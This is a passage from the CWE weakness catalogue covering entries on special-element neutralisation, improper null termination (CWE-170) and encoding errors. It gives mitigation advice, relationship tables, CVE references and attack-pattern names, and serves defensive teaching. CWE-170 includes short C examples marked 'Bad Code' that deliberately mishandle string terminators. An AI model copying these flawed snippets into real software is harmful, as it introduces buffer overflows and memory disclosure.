Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation****Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		162	Improper Neutralization of Trailing Special Elements	699 1000	319
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	888	1388
ParentOf		43	Path Equivalence: 'filename....' (Multiple Trailing Dot)	1000	79
ParentOf		52	Path Equivalence: '/multiple/trailing/slash/'	1000	85

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Multiple Trailing Special Elements
Software Fault Patterns	SFP24	Tainted input to command

## CWE-164: Improper Neutralization of Internal Special Elements

Weakness ID: 164 (Weakness Variant)

Status: Incomplete

**Description****Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

**Extended Description**

As data is parsed, improperly handled internal special elements may cause the process to take unexpected actions that result in an attack.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Unexpected state

### Potential Mitigations

Developers should anticipate that internal special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

#### Implementation

##### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Implementation

##### Output Encoding




While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

#### Implementation

##### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		159	Failure to Sanitize Special Element	<b>699</b> <b>1000</b>	314
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388
ParentOf		165	<i>Improper Neutralization of Multiple Internal Special Elements</i>	<b>699</b> <b>1000</b>	323

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Internal Special Element
Software Fault Patterns	SFP24	Tainted input to command

## CWE-165: Improper Neutralization of Multiple Internal Special Elements

Weakness ID: 165 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

#### Extended Description

As data is parsed, improperly handled multiple internal special elements may cause the process to take unexpected actions that result in an attack.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Unexpected state

### Potential Mitigations

Developers should anticipate that multiple internal special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

#### Implementation

##### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Implementation

##### Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	V	164	Improper Neutralization of Internal Special Elements	699 1000	321
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1388
ParentOf	V	45	<i>Path Equivalence: 'file...name' (Multiple Internal Dot)</i>	1000	80
ParentOf	V	53	<i>Path Equivalence: '\multiple\internal\backslash'</i>	1000	86

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Multiple Internal Special Element
Software Fault Patterns	SFP24	Tainted input to command

**CWE-166: Improper Handling of Missing Special Element****Weakness ID:** 166 (*Weakness Base*)**Status:** Draft**Description****Summary**

The software receives input from an upstream component, but it does not handle or incorrectly handles when an expected special element is missing.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Availability****DoS:** crash / exit / restart**Observed Examples**

Reference	Description
CVE-2002-0729	Missing special character (separator) causes crash
CVE-2002-1362	Crash via message type without separator character
CVE-2002-1532	HTTP GET without \r\n\r\n CRLF sequences causes product to wait indefinitely and prevents other users from accessing it

**Potential Mitigations**

Developers should anticipate that special elements will be removed in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.






When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		159	Failure to Sanitize Special Element	<b>699</b> <b>1000</b>	314
ChildOf		703	Improper Check or Handling of Exceptional Conditions	1000	1102
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	<b>711</b>	1116
ChildOf		992	SFP Secondary Cluster: Faulty Input Transformation	<b>888</b>	1390

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Missing Special Element

## CWE-167: Improper Handling of Additional Special Element

Weakness ID: 167 (*Weakness Base*)

Status: Draft

**Description****Summary**

The software receives input from an upstream component, but it does not handle or incorrectly handles when an additional unexpected special element is missing.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Integrity****Unexpected state****Observed Examples**

Reference	Description
CVE-2000-0116	Extra "<" in front of SCRIPT tag.
CVE-2001-1157	Extra "<" in front of SCRIPT tag.
CVE-2002-2086	"<script" - probably a cleansing error



## Potential Mitigations

Developers should anticipate that extra special elements will be injected in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Implementation

#### Output Encoding





While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Implementation

#### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		159	Failure to Sanitize Special Element	<b>699</b> <b>1000</b>	314
ChildOf		703	Improper Check or Handling of Exceptional Conditions	1000	1102
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	<b>711</b>	1116
ChildOf		992	SFP Secondary Cluster: Faulty Input Transformation	<b>888</b>	1390

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Extra Special Element

# CWE-168: Improper Handling of Inconsistent Special Elements

Weakness ID: 168 (Weakness Base)

Status: Draft

## Description

### Summary

The software does not handle when an inconsistency exists between two or more special characters or reserved words.

**Extended Description**

An example of this problem would be if paired characters appear in the wrong order, or if the special characters are not properly nested.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences**

**Availability**

**Access Control**

**Non-Repudiation**

**DoS: crash / exit / restart**

**Bypass protection mechanism**

**Hide activities**

**Potential Mitigations**

Developers should anticipate that inconsistent special elements will be injected/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.




When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	<input type="checkbox"/>	Page
ChildOf		159	Failure to Sanitize Special Element	<input checked="" type="checkbox"/>	699 314 1000
ChildOf		703	Improper Check or Handling of Exceptional Conditions	<input type="checkbox"/>	1000 1102
ChildOf		992	SFP Secondary Cluster: Faulty Input Transformation	<input type="checkbox"/>	888 1390

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Inconsistent Special Elements

**CWE-169: Technology-Specific Special Elements**

Category ID: 169 (Category)

Status: Draft

Description

## Summary

Weaknesses in this category are related to improper handling of special elements within particular technologies.

## Applicable Platforms

### Languages

- Language-independent

## Modes of Introduction

Special elements problems can arise from designs or languages that:

- Do not separate "code" from "data"
- Mix meta-information with information

## Potential Mitigations

### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

## Relationships

Nature	Type	ID	Name		Page
ChildOf		138	Improper Neutralization of Special Elements		285
ParentOf		170	Improper Null Termination		328

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Technology-Specific Special Elements

# CWE-170: Improper Null Termination

Weakness ID: 170 (*Weakness Base*)

Status: Incomplete

## Description

### Summary

The software does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator.

### Extended Description

Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- C
- C++

### Platform Notes

## Common Consequences

**Confidentiality**

**Integrity**

**Availability**

**Read memory**

**Execute unauthorized code or commands**

The case of an omitted null character is the most dangerous of the possible issues. This will almost certainly result in information disclosure, and possibly a buffer overflow condition, which may be exploited to execute arbitrary code.

**Confidentiality**

**Integrity**

**Availability**

**DoS: crash / exit / restart**

**Read memory**

**DoS: resource consumption (CPU)**

**DoS: resource consumption (memory)**

If a null character is omitted from a string, then most string-copying functions will read data until they locate a null character, even outside of the intended boundaries of the string. This could:

- cause a crash due to a segmentation fault

- cause sensitive adjacent memory to be copied and sent to an outsider

- trigger a buffer overflow when the copy is being written to a fixed-size buffer

**Integrity**

**Availability**

**Modify memory**

**DoS: crash / exit / restart**

Misplaced null characters may result in any number of security problems. The biggest issue is a subset of buffer overflow, and write-what-where conditions, where data corruption occurs from the writing of a null character over valid data, or even instructions. A randomly placed null character may put the system into an undefined state, and therefore make it prone to crashing. A misplaced null character may corrupt other data in memory.

**Integrity**

**Confidentiality**

**Availability**

**Access Control**

**Other**

**Alter execution logic**

**Execute unauthorized code or commands**

Should the null character corrupt the process flow, or affect a flag controlling access, it may lead to logical errors which allow for the execution of arbitrary code.

## Likelihood of Exploit

Medium

## Demonstrative Examples

### Example 1:

The following code reads from `cfgfile` and copies the input into `inputbuf` using `strcpy()`. The code mistakenly assumes that `inputbuf` will always contain a NULL terminator.

#### C Example:

*Bad Code*

```
#define MAXLEN 1024
...
char *pathbuf[MAXLEN];
...
read(cfgfile,inputbuf,MAXLEN); //does not null terminate
strcpy(pathbuf,input_buf); //requires null terminated input
...
```

The code above will behave correctly if the data read from `cfgfile` is null terminated on disk as expected. But if an attacker is able to modify this input so that it does not contain the expected NULL character, the call to `strcpy()` will continue copying from memory until it encounters an arbitrary NULL character. This will likely overflow the destination buffer and, if the attacker can control the contents of memory immediately following `inputbuf`, can leave the application susceptible to a buffer overflow attack.

### Example 2:

In the following code, `readlink()` expands the name of a symbolic link stored in the buffer `path` so that the buffer `filename` contains the absolute path of the file referenced by the symbolic link. The length of the resulting value is then calculated using `strlen()`.

#### C Example:

*Bad Code*

```
char buf[MAXPATH];
...
readlink(path, buf, MAXPATH);
int length = strlen(filename);
...
```

The code above will not behave correctly because the value read into `buf` by `readlink()` will not be null terminated. In testing, vulnerabilities like this one might not be caught because the unused contents of `buf` and the memory immediately following it may be NULL, thereby causing `strlen()` to appear as if it is behaving correctly. However, in the wild `strlen()` will continue traversing memory until it encounters an arbitrary NULL character on the stack, which results in a value of `length` that is much larger than the size of `buf` and may cause a buffer overflow in subsequent uses of this value. Buffer overflows aside, whenever a single call to `readlink()` returns the same value that has been passed to its third argument, it is impossible to know whether the name is precisely that many bytes long, or whether `readlink()` has truncated the name to avoid overrunning the buffer. Traditionally, strings are represented as a region of memory containing data terminated with a NULL character. Older string-handling methods frequently rely on this NULL character to determine the length of the string. If a buffer that does not contain a NULL terminator is passed to one of these functions, the function will read past the end of the buffer. Malicious users typically exploit this type of vulnerability by injecting data with unexpected size or content into the application. They may provide the malicious input either directly as input to the program or indirectly by modifying application resources, such as configuration files. In the event that an attacker causes the application to read beyond the bounds of a buffer, the attacker may be able use a resulting buffer overflow to inject and execute arbitrary code on the system.

### Example 3:

While the following example is not exploitable, it provides a good example of how nulls can be omitted or misplaced, even when "safe" functions are used:

#### C Example:

*Bad Code*

```
#include <stdio.h>
#include <string.h>
int main() {
    char longString[] = "String signifying nothing";
    char shortString[16];
    strncpy(shortString, longString, 16);
    printf("The last character in shortString is: %c %1$x\n", shortString[15]);
    return (0);
}
```

The above code gives the following output: `The last character in shortString is: l 6c` So, the `shortString` array does not end in a NULL character, even though the "safe" string function `strncpy()` was used.

### Observed Examples

Reference	Description
CVE-2000-0312	Attacker does not null-terminate <code>argv[]</code> when invoking another program.
CVE-2001-1389	Multiple vulnerabilities related to improper null termination.

Reference	Description
CVE-2003-0143	Product does not null terminate a message buffer after sprintf-like call, leading to overflow.
CVE-2003-0777	Interrupted step causes resultant lack of null termination.
CVE-2004-1072	Fault causes resultant lack of null termination, leading to buffer expansion.
CVE-2009-2523	Chain: product does not handle when an input string is not NULL terminated, leading to buffer over-read or heap-based buffer overflow.

### Potential Mitigations

#### Requirements

Use a language that is not susceptible to these issues. However, be careful of null byte interaction errors (CWE-626) with lower-level constructs that may be written in a language that is susceptible.

#### Implementation

Ensure that all string functions used are understood fully as to how they append null characters. Also, be wary of off-by-one errors when appending nulls to the end of strings.

#### Implementation

If performance constraints permit, special code can be added that validates null-termination of string buffers, this is a rather naive and error-prone solution.

#### Implementation

Switch to bounded string manipulation functions. Inspect buffer lengths involved in the buffer overrun trace reported with the defect.

#### Implementation

Add code that fills buffers with nulls (however, the length of buffers still needs to be inspected, to ensure that the non null-terminated string is not written at the physical end of the buffer).

### Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		20	Improper Input Validation	<b>700</b>	18
CanPrecede		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1000	234
CanPrecede		126	Buffer Over-read	1000	254
CanAlsoBe		147	Improper Neutralization of Input Terminators	1000	297
ChildOf		169	Technology-Specific Special Elements	<b>699</b>	327
PeerOf		463	Deletion of Data Structure Sentinel	1000	780
PeerOf		464	Addition of Data Structure Sentinel	1000	781
ChildOf		707	Improper Enforcement of Message or Data Structure	<b>1000</b>	1107
ChildOf		730	OWASP Top Ten 2004 Category A9 - Denial of Service	<b>711</b>	1120
ChildOf		741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	<b>734</b>	1133
ChildOf		748	CERT C Secure Coding Section 50 - POSIX (POS)	734	1137
ChildOf		875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	<b>868</b>	1314
ChildOf		973	SFP Secondary Cluster: Improper NULL Termination	<b>888</b>	1381
<i>CanFollow</i>		<i>193</i>	<i>Off-by-one Error</i>	<i>1000</i>	<i>371</i>
<i>MemberOf</i>		<i>630</i>	<i>Weaknesses Examined by SAMATE</i>	<i>630</i>	<i>980</i>
<i>CanFollow</i>		<i>682</i>	<i>Incorrect Calculation</i>	<i>1000</i>	<i>1060</i>
<i>MemberOf</i>		<i>884</i>	<i>CWE Cross-section</i>	<i>884</i>	<i>1319</i>

### Relationship Notes

Factors: this is usually resultant from other weaknesses such as off-by-one errors, but it can be primary to boundary condition violations such as buffer overflows. In buffer overflows, it can act as an expander for assumed-immutable data.

Overlaps missing input terminator.



## Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Improper Null Termination
7 Pernicious Kingdoms			String Termination Error
CLASP			Miscalculated null termination
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	POS30-C		Use the readlink() function properly
CERT C Secure Coding	STR03-C		Do not inadvertently truncate a null-terminated byte string
CERT C Secure Coding	STR32-C		Null-terminate byte strings as required
CERT C++ Secure Coding	STR03-CPP		Do not inadvertently truncate a null-terminated character array
CERT C++ Secure Coding	STR32-CPP		Null-terminate character arrays as required
Software Fault Patterns	SFP11		Improper Null Termination

## White Box Definitions

A weakness where the code path has:

1. end statement that passes a data item to a null-terminated string function
2. start statement that produces the improper null-terminated data item

Where "produces" is defined through the following scenarios:

1. data item never ended with null-terminator
2. null-terminator is re-written

## Maintenance Notes

As currently described, this entry is more like a category than a weakness.

# CWE-171: Cleansing, Canonicalization, and Comparison Errors

Category ID: 171 (Category)

Status: Draft

## Description

### Summary

Weaknesses in this category are related to improper handling of data within protection mechanisms that attempt to perform neutralization for untrusted data.

## Applicable Platforms

### Languages

- Language-independent

## Relationships

Nature	Type	ID	Name	W	Page
ChildOf	<b>C</b>	137	Representation Errors	<b>699</b>	284
CanPrecede	<b>V</b>	289	Authentication Bypass by Alternate Name	1000	513
ChildOf	<b>C</b>	845	CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)	<b>844</b>	1291
ParentOf	<b>C</b>	172	Encoding Error	<b>699</b>	333
ParentOf	<b>B</b>	178	Improper Handling of Case Sensitivity	<b>699</b>	343
ParentOf	<b>B</b>	179	Incorrect Behavior Order: Early Validation	<b>699</b>	345
ParentOf	<b>B</b>	180	Incorrect Behavior Order: Validate Before Canonicalize	<b>699</b>	347
ParentOf	<b>B</b>	181	Incorrect Behavior Order: Validate Before Filter	<b>699</b>	349
ParentOf	<b>B</b>	182	Collapse of Data into Unsafe Value	<b>699</b>	350
ParentOf	<b>B</b>	183	Permissive Whitelist	<b>699</b>	352
ParentOf	<b>B</b>	184	Incomplete Blacklist	<b>699</b>	352
ParentOf	<b>C</b>	185	Incorrect Regular Expression	<b>699</b>	355
ParentOf	<b>B</b>	187	Partial Comparison	<b>699</b>	357



Nature	Type	ID	Name	V	Page
ParentOf	V	478	Missing Default Case in Switch Statement	699	804
ParentOf	V	486	Comparison of Classes by Name	699	820
ParentOf	B	595	Comparison of Object References Instead of Object Contents	699	936
ParentOf	B	596	Incorrect Semantic Object Comparison	699	938
ParentOf	G	697	Insufficient Comparison	699	1078
ParentOf	V	768	Incorrect Short Circuit Evaluation	699	1173

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Cleansing, Canonicalization, and Comparison Errors
CERT Java Secure Coding	IDS02-J	Canonicalize path names before validating them

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters	
43	Exploiting Multiple Input Interpretation Layers	
52	Embedding NULL Bytes	
53	Postfix, Null Terminate, and Backslash	
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic	
71	Using Unicode Encoding to Bypass Validation Logic	
72	URL Encoding	
78	Using Escaped Slashes in Alternate Encoding	
79	Using Slashes in Alternate Encoding	
80	Using UTF-8 Encoding to Bypass Validation Logic	
267	Leverage Alternate Encoding	

### References

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". 2nd Edition. Microsoft. 2002.

## CWE-172: Encoding Error

Weakness ID: 172 (Weakness Class)

Status: Draft

### Description

#### Summary

The software does not properly encode or decode the data, resulting in unexpected values.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Unexpected state

### Potential Mitigations

## Implementation

### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

## Implementation

### Output Encoding











While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

## Implementation

### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Relationships

Nature	Type	ID	Name	CVSS	Page
CanPrecede		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	1000	30
CanPrecede		41	Improper Resolution of Path Equivalence	1000	73
ChildOf		171	Cleansing, Canonicalization, and Comparison Errors	699	332
ChildOf		707	Improper Enforcement of Message or Data Structure	1000	1107
ChildOf		992	SFP Secondary Cluster: Faulty Input Transformation	888	1390
ParentOf		173	<i>Improper Handling of Alternate Encoding</i>	699 1000	335
ParentOf		174	<i>Double Decoding of the Same Data</i>	699 1000	336
ParentOf		175	<i>Improper Handling of Mixed Encoding</i>	699 1000	338
ParentOf		176	<i>Improper Handling of Unicode Encoding</i>	699 1000	339
ParentOf		177	<i>Improper Handling of URL Encoding (Hex Encoding)</i>	699 1000	341

### Relationship Notes

Partially overlaps path traversal and equivalence weaknesses.

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Encoding Error

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters	
52	Embedding NULL Bytes	
53	Postfix, Null Terminate, and Backslash	
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic	
71	Using Unicode Encoding to Bypass Validation Logic	
72	URL Encoding	
78	Using Escaped Slashes in Alternate Encoding	
80	Using UTF-8 Encoding to Bypass Validation Logic	
267	Leverage Alternate Encoding	

### Maintenance Notes

This is more like a category than a weakness.

Many other types of encodings should be listed in this category.

## CWE-173: Improper Handling of Alternate Encoding

Weakness ID: 173 (Weakness Variant)

Status: Draft

### Description

#### Summary

The software does not properly handle when an input uses an alternate encoding that is valid for the control sphere to which the input is being sent.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

#### Bypass protection mechanism

### Potential Mitigations

#### Architecture and Design

#### Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

#### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation****Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

**Implementation****Input Validation**

